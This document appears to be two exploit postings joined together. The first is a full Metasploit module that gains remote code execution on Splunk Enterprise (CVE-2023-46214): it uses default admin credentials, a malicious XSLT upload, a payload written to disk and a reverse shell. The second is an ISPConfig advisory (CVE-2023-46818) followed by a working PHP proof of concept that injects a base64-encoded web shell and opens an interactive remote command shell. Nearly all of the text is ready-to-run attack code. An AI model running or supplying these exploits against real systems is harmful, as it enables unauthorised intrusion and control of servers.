<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Splunk Authenticated XSLT Upload RCE',<br /> 'Description' => %q{<br /> This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.<br /> The affected versions include 9.0.x before 9.0.7 and 9.1.x before 9.1.2. The exploitation process leverages<br /> a weakness in the XSLT transformation functionality of Splunk. Successful exploitation requires valid<br /> credentials, typically 'admin:changeme' by default.<br /><br /> The exploit involves uploading a malicious XSLT file to the target system. This file, when processed by the<br /> vulnerable Splunk server, leads to the execution of arbitrary code. The module then utilizes the 'runshellscript'<br /> capability in Splunk to execute the payload, which can be tailored to establish a reverse shell. This provides<br /> the attacker with remote control over the compromised Splunk instance. The module is designed to work<br /> seamlessly, ensuring successful exploitation under the right conditions.<br /> },<br /> 'Author' => [<br /> 'nathan', # Writeup and PoC<br /> 'Valentin Lobstein', # Metasploit module<br /> 'h00die', # Assistance in module development<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'References' => [<br /> ['CVE', '2023-46214'],<br /> ['URL', 'https://github.com/nathan31337/Splunk-RCE-poc'],<br /> ['URL', 'https://advisory.splunk.com/advisories/SVD-2023-1104'], # Vendor Advisory<br /> ['URL', 'https://blog.hrncirik.net/cve-2023-46214-analysis'], # Writeup<br /> ],<br /> 'Platform' => ['unix', 'linux'],<br /> 'Arch' => [ARCH_PHP, ARCH_CMD],<br /> 'Targets' => [['Automatic', {}]],<br /> 'DisclosureDate' => '2023-11-28',<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'RPORT' => 8000<br /><br /> },<br /> 'Privileged' => false,<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]<br /> }<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> OptString.new('USERNAME', [true, 'Username for Splunk', 'admin']),<br /> OptString.new('PASSWORD', [true, 'Password for Splunk', 'changeme']),<br /> OptString.new('RANDOM_FILENAME', [false, 'Random filename with 8 characters', Rex::Text.rand_text_alpha(8)]),<br /> ]<br /> )<br /> end<br /><br /> def exploit<br /> cookie_string ||= authenticate<br /> unless cookie_string<br /> fail_with(Failure::NoAccess, 'Authentication failed')<br /> end<br /><br /> sleep(0.3)<br /> csrf_token, updated_cookie_string = fetch_csrf_token(cookie_string)<br /> unless csrf_token<br /> fail_with(Failure::NoAccess, 'Failed to obtain CSRF token')<br /> end<br /><br /> sleep(0.3)<br /> malicious_xsl = generate_malicious_xsl<br /> text_value = upload_malicious_file(malicious_xsl, csrf_token, updated_cookie_string)<br /> unless text_value<br /> fail_with(Failure::Unknown, 'File upload failed')<br /> end<br /><br /> sleep(0.3)<br /> jsid = get_job_search_id(csrf_token, updated_cookie_string)<br /> unless jsid<br /> fail_with(Failure::Unknown, 'Creating job failed')<br /> end<br /><br /> sleep(0.3)<br /> unless trigger_xslt_transform(jsid, text_value, updated_cookie_string)<br /> fail_with(Failure::Unknown, 'XSLT Transform failed')<br /> end<br /><br /> sleep(0.3)<br /> unless trigger_payload(jsid, csrf_token, updated_cookie_string)<br /> fail_with(Failure::Unknown, 'Failed to execute reverse shell')<br /> end<br /> end<br /><br /> def check<br /> unless splunk?<br /> return CheckCode::Unknown('Target does not appear to be a Splunk instance')<br /> end<br /><br /> begin<br /> cookie_string = authenticate<br /> rescue RuntimeError<br /> cookie_string = nil<br /> end<br /><br /> unless cookie_string<br /> return CheckCode::Detected('The target is Splunk but authentication failed')<br /> end<br /><br /> version = get_version_authenticated(cookie_string)<br /> return CheckCode::Detected('Unable to determine Splunk version') unless version<br /><br /> if version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.6')) ||<br /> version.between?(Rex::Version.new('9.1.0'), Rex::Version.new('9.1.1'))<br /> return CheckCode::Appears("Exploitable version found: #{version}")<br /> end<br /><br /> CheckCode::Safe("Non-vulnerable version found: #{version}")<br /> end<br /><br /> def trigger_payload(jsid, csrf_token, cookie_string)<br /> return nil unless jsid && csrf_token<br /><br /> runshellscript_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'servicesNS', datastore['USERNAME'], 'search', 'search', 'jobs')<br /> runshellscript_data = {<br /> 'search' => "|runshellscript \"#{datastore['RANDOM_FILENAME']}.sh\" \"\" \"\" \"\" \"\" \"\" \"\" \"\" \"#{jsid}\""<br /> }<br /><br /> upload_headers = {<br /> 'X-Requested-With' => 'XMLHttpRequest',<br /> 'X-Splunk-Form-Key' => csrf_token,<br /> 'Cookie' => cookie_string<br /> }<br /><br /> print_status("Executing payload at #{runshellscript_url}")<br /> res = send_request_cgi(<br /> 'uri' => runshellscript_url,<br /> 'method' => 'POST',<br /> 'vars_post' => runshellscript_data,<br /> 'headers' => upload_headers<br /> )<br /><br /> unless res<br /> print_error('Failed to execute payload: No response received')<br /> return nil<br /> end<br /><br /> if res.code == 201<br /> print_good('Payload executed successfully')<br /> return true<br /> end<br /><br /> print_error("Failed to execute payload: Server returned status code #{res.code}")<br /> return nil<br /> end<br /><br /> def trigger_xslt_transform(jsid, text_value, cookie_string)<br /> return nil unless jsid && text_value<br /><br /> exploit_endpoint = normalize_uri(target_uri.path, 'en-US', 'api', 'search', 'jobs', jsid, 'results')<br /> exploit_endpoint << "?xsl=/opt/splunk/var/run/splunk/dispatch/#{text_value}/#{datastore['RANDOM_FILENAME']}.xsl"<br /><br /> xslt_headers = {<br /> 'X-Splunk-Module' => 'Splunk.Module.DispatchingModule',<br /> 'Connection' => 'close',<br /> 'Upgrade-Insecure-Requests' => '1',<br /> 'Accept-Language' => 'en-US,en;q=0.5',<br /> 'Accept-Encoding' => 'gzip, deflate',<br /> 'X-Requested-With' => 'XMLHttpRequest',<br /> 'Cookie' => cookie_string<br /> }<br /><br /> print_status("Triggering XSLT transformation at #{exploit_endpoint}")<br /> res = send_request_cgi(<br /> 'uri' => exploit_endpoint,<br /> 'method' => 'GET',<br /> 'headers' => xslt_headers<br /> )<br /><br /> unless res<br /> print_error('Failed to trigger XSLT transformation: No response received')<br /> return nil<br /> end<br /><br /> if res.code == 200<br /> print_good('XSLT transformation triggered successfully')<br /> return true<br /> end<br /><br /> print_error("Failed to trigger XSLT transformation: Server returned status code #{res.code}")<br /> return nil<br /> end<br /><br /> def generate_malicious_xsl<br /> encoded_payload = Rex::Text.html_encode(payload.encoded)<br /><br /> xsl_template = <<~XSL<br /> <?xml version="1.0" encoding="UTF-8"?><br /> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl"><br /> <xsl:template match="/"><br /> <exsl:document href="/opt/splunk/bin/scripts/#{datastore['RANDOM_FILENAME']}.sh" method="text"><br /> <xsl:text>#{encoded_payload}</xsl:text><br /> </exsl:document><br /> </xsl:template><br /> </xsl:stylesheet><br /> XSL<br /><br /> xsl_template<br /> end<br /><br /> def get_job_search_id(csrf_token, cookie_string)<br /> return nil unless csrf_token<br /><br /> jsid_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'servicesNS', datastore['USERNAME'], 'search', 'search', 'jobs')<br /><br /> upload_headers = {<br /> 'X-Requested-With' => 'XMLHttpRequest',<br /> 'X-Splunk-Form-Key' => csrf_token,<br /> 'Cookie' => cookie_string<br /> }<br /><br /> jsid_data = {<br /> 'search' => '|search test|head 1'<br /> }<br /><br /> print_status("Sending job search request to #{jsid_url}")<br /> res = send_request_cgi(<br /> 'uri' => jsid_url,<br /> 'method' => 'POST',<br /> 'vars_post' => jsid_data,<br /> 'headers' => upload_headers,<br /> 'vars_get' => { 'output_mode' => 'json' }<br /> )<br /><br /> unless res<br /> print_error('Failed to initiate job search: No response received')<br /> return nil<br /> end<br /><br /> jsid = res.get_json_document['sid']<br /> return jsid if jsid<br /> end<br /><br /> def upload_malicious_file(file_content, csrf_token, cookie_string)<br /> unless csrf_token<br /> print_error('CSRF token not found')<br /> return nil<br /> end<br /><br /> post_data = Rex::MIME::Message.new<br /> post_data.add_part(file_content, 'application/xslt+xml', nil, "form-data; name=\"spl-file\"; filename=\"#{datastore['RANDOM_FILENAME']}.xsl\"")<br /><br /> upload_headers = {<br /> 'Accept' => 'text/javascript, text/html, application/xml, text/xml, */*',<br /> 'X-Requested-With' => 'XMLHttpRequest',<br /> 'X-Splunk-Form-Key' => csrf_token,<br /> 'Cookie' => cookie_string<br /> }<br /><br /> upload_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__upload', 'indexing', 'preview')<br /><br /> res = send_request_cgi(<br /> 'uri' => upload_url,<br /> 'method' => 'POST',<br /> 'data' => post_data.to_s,<br /> 'ctype' => "multipart/form-data; boundary=#{post_data.bound}",<br /> 'headers' => upload_headers,<br /> 'vars_get' => {<br /> 'output_mode' => 'json',<br /> 'props.NO_BINARY_CHECK' => 1,<br /> 'input.path' => "#{datastore['RANDOM_FILENAME']}.xsl"<br /> }<br /> )<br /><br /> unless res<br /> print_error('Malicious file upload failed: No response received')<br /> return nil<br /> end<br /><br /> if res.headers['Content-Type'].include?('application/json')<br /> response_data = res.get_json_document<br /> else<br /> print_error('Response is not in JSON format')<br /> return nil<br /> end<br /><br /> if response_data.empty?<br /> print_error('Failed to parse JSON or received empty JSON')<br /> return nil<br /> end<br /><br /> if response_data['messages'] && !response_data['messages'].empty?<br /> text_value = response_data.dig('messages', 0, 'text')<br /> if text_value.include?('concatenate')<br /> print_error('Server responded with an error: concatenate found in the response')<br /> return nil<br /> end<br /><br /> print_good('Malicious file uploaded successfully')<br /> return text_value<br /> end<br /><br /> print_error('Server did not return a valid "messages" field')<br /> return nil<br /> end<br /><br /> def fetch_csrf_token(cookie_string)<br /> print_status('Extracting CSRF token from cookies')<br /><br /> csrf_token_match = cookie_string.match(/splunkweb_csrf_token_8000=([^;]+)/)<br /><br /> if csrf_token_match<br /> csrf_token = csrf_token_match[1]<br /> print_good("CSRF token successfully extracted: #{csrf_token}")<br /><br /> en_us_url = normalize_uri(target_uri.path, 'en-US', 'app', 'launcher', 'home')<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => en_us_url,<br /> 'cookie' => cookie_string<br /> })<br /><br /> updated_cookie_string = cookie_string<br /><br /> if res && res.code == 200<br /> new_cookies = res.get_cookies<br /> updated_cookie_string += new_cookies<br /> end<br /><br /> return [csrf_token, updated_cookie_string]<br /> end<br /><br /> fail_with(Failure::NotFound, 'CSRF token not found in cookies')<br /> end<br /><br /> def get_version_authenticated(cookie_string)<br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']),<br /> 'vars_get' => {<br /> 'output_mode' => 'json'<br /> },<br /> 'headers' => {<br /> 'Cookie' => cookie_string<br /> }<br /> })<br /><br /> return nil unless res&.code == 200<br /><br /> body = res.get_json_document<br /> Rex::Version.new(body.dig('generator', 'version'))<br /> end<br /><br /> def splunk?<br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, '/en-US/account/login')<br /> })<br /><br /> return true if res&.body =~ /Splunk/<br /><br /> false<br /> end<br /><br /> def authenticate<br /> login_url = normalize_uri(target_uri.path, 'en-US', 'account', 'login')<br /><br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => login_url<br /> })<br /><br /> unless res<br /> fail_with(Failure::Unreachable, 'No response received for authentication request')<br /> end<br /><br /> cval_value = res.get_cookies.match(/cval=([^;]*)/)[1]<br /><br /> unless cval_value<br /> fail_with(Failure::UnexpectedReply, 'Failed to retrieve the cval cookie for authentication')<br /> end<br /><br /> auth_payload = {<br /> 'username' => datastore['USERNAME'],<br /> 'password' => datastore['PASSWORD'],<br /> 'cval' => cval_value,<br /> 'set_has_logged_in' => 'false'<br /> }<br /><br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => login_url,<br /> 'cookie' => res.get_cookies,<br /> 'vars_post' => auth_payload<br /> })<br /><br /> unless res && res.code == 200<br /> fail_with(Failure::NoAccess, 'Failed to authenticate on the Splunk instance')<br /> end<br /><br /> print_good('Successfully authenticated on the Splunk instance')<br /> res.get_cookies<br /> end<br />end<br /></code></pre>
<pre><code>------------------------------------------------------------------------<br />ISPConfig <= 3.2.11 (language_edit.php) PHP Code Injection Vulnerability<br />------------------------------------------------------------------------<br /><br /><br />[-] Software Link:<br /><br />https://www.ispconfig.org<br /><br /><br />[-] Affected Versions:<br /><br />Version 3.2.11 and prior versions.<br /><br /><br />[-] Vulnerabilities Description:<br /><br />User input passed through the "records" POST parameter to<br />/admin/language_edit.php is not properly sanitized before being used<br />to dynamically generate PHP code that will be executed by the<br />application. This can be exploited by malicious administrator users to<br />inject and execute arbitrary PHP code on the web server.<br /><br /><br />[-] Proof of Concept:<br /><br />https://karmainsecurity.com/pocs/CVE-2023-46818.php<br />(Packet Storm Editor Note: See bottom of this file for PoC)<br /><br /><br />[-] Solution:<br /><br />Upgrade to version 3.2.11p1 or later.<br /><br /><br />[-] Disclosure Timeline:<br /><br />[25/10/2023] - Vendor notified<br />[26/10/2023] - Version 3.2.11p1 released<br />[27/10/2023] - CVE identifier assigned<br />[07/12/2023] - Publication of this advisory<br /><br /><br />[-] CVE Reference:<br /><br />The Common Vulnerabilities and Exposures project (cve.mitre.org)<br />has assigned the name CVE-2023-46818 to this vulnerability.<br /><br /><br />[-] Credits:<br /><br />Vulnerability discovered by Egidio Romano.<br /><br /><br />[-] Original Advisory:<br /><br />https://karmainsecurity.com/KIS-2023-13<br /><br /><br />[-] Other References:<br /><br />https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/<br /><br /><br /><br />--- CVE-2023-46818.php PoC ---<br /><br /><?php<br /><br />/*<br /> ------------------------------------------------------------------------<br /> ISPConfig <= 3.2.11 (language_edit.php) PHP Code Injection Vulnerability<br /> ------------------------------------------------------------------------<br /><br /> author..............: Egidio Romano aka EgiX<br /> mail................: n0b0d13s[at]gmail[dot]com<br /> software link.......: https://www.ispconfig.org<br /><br /> +-------------------------------------------------------------------------+<br /> | This proof of concept code was written for educational purpose only. |<br /> | Use it at your own risk. Author will be not responsible for any damage. |<br /> +-------------------------------------------------------------------------+<br /><br /> [-] Vulnerability Description:<br /><br /> User input passed through the "records" POST parameter to /admin/language_edit.php is<br /> not properly sanitized before being used to dynamically generate PHP code that will be<br /> executed by the application. This can be exploited by malicious administrator users to<br /> inject and execute arbitrary PHP code on the web server.<br /><br /> [-] Original Advisory:<br /><br /> https://karmainsecurity.com/KIS-2023-13<br />*/<br /><br />set_time_limit(0);<br />error_reporting(E_ERROR);<br /><br />if (!extension_loaded("curl")) die("[-] cURL extension required!\n");<br /><br />if ($argc != 4) die("\nUsage: php $argv[0] <URL> <Username> <Password>\n\n");<br /><br />list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];<br /><br />print "[+] Logging in with username '{$user}' and password '{$pass}'\n";<br /><br />@unlink('./cookies.txt');<br /><br />$ch = curl_init();<br /><br />curl_setopt($ch, CURLOPT_URL, "{$url}login/");<br />curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br />curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);<br />curl_setopt($ch, CURLOPT_COOKIEJAR, './cookies.txt');<br />curl_setopt($ch, CURLOPT_COOKIEFILE, './cookies.txt');<br />curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".urlencode($user)."&password=".urlencode($pass)."&s_mod=login");<br /><br />if (preg_match('/Username or Password wrong/i', curl_exec($ch))) die("[-] Login failed!\n");<br /><br />print "[+] Injecting shell\n";<br /><br />$__phpcode = base64_encode("<?php print('____'); passthru(base64_decode(\$_SERVER['HTTP_C'])); print('____'); ?>");<br />$injection = "'];file_put_contents('sh.php',base64_decode('{$__phpcode}'));die;#";<br />$lang_file = str_shuffle("qwertyuioplkjhgfdsazxcvbnm").".lng";<br /><br />curl_setopt($ch, CURLOPT_URL, "{$url}admin/language_edit.php");<br />curl_setopt($ch, CURLOPT_POSTFIELDS, "lang=en&module=help&lang_file={$lang_file}");<br /><br />$res = curl_exec($ch);<br /><br />if (!preg_match('/_csrf_id" value="([^"]+)"/i', $res, $csrf_id)) die("[-] CSRF ID not found!\n");<br />if (!preg_match('/_csrf_key" value="([^"]+)"/i', $res, $csrf_key)) die("[-] CSRF key not found!\n");<br /><br />curl_setopt($ch, CURLOPT_POSTFIELDS, "lang=en&module=help&lang_file={$lang_file}&_csrf_id={$csrf_id[1]}&_csrf_key={$csrf_key[1]}&records[%5C]=".urlencode($injection));<br /><br />curl_exec($ch);<br /><br />print "[+] Launching shell\n";<br /><br />curl_setopt($ch, CURLOPT_URL, "{$url}admin/sh.php");<br />curl_setopt($ch, CURLOPT_POST, false);<br /><br />while(1)<br />{<br /> print "\nispconfig-shell# ";<br /> if (($cmd = trim(fgets(STDIN))) == "exit") break;<br /> curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode($cmd)]);<br /> preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");<br />}<br /><br /></code></pre>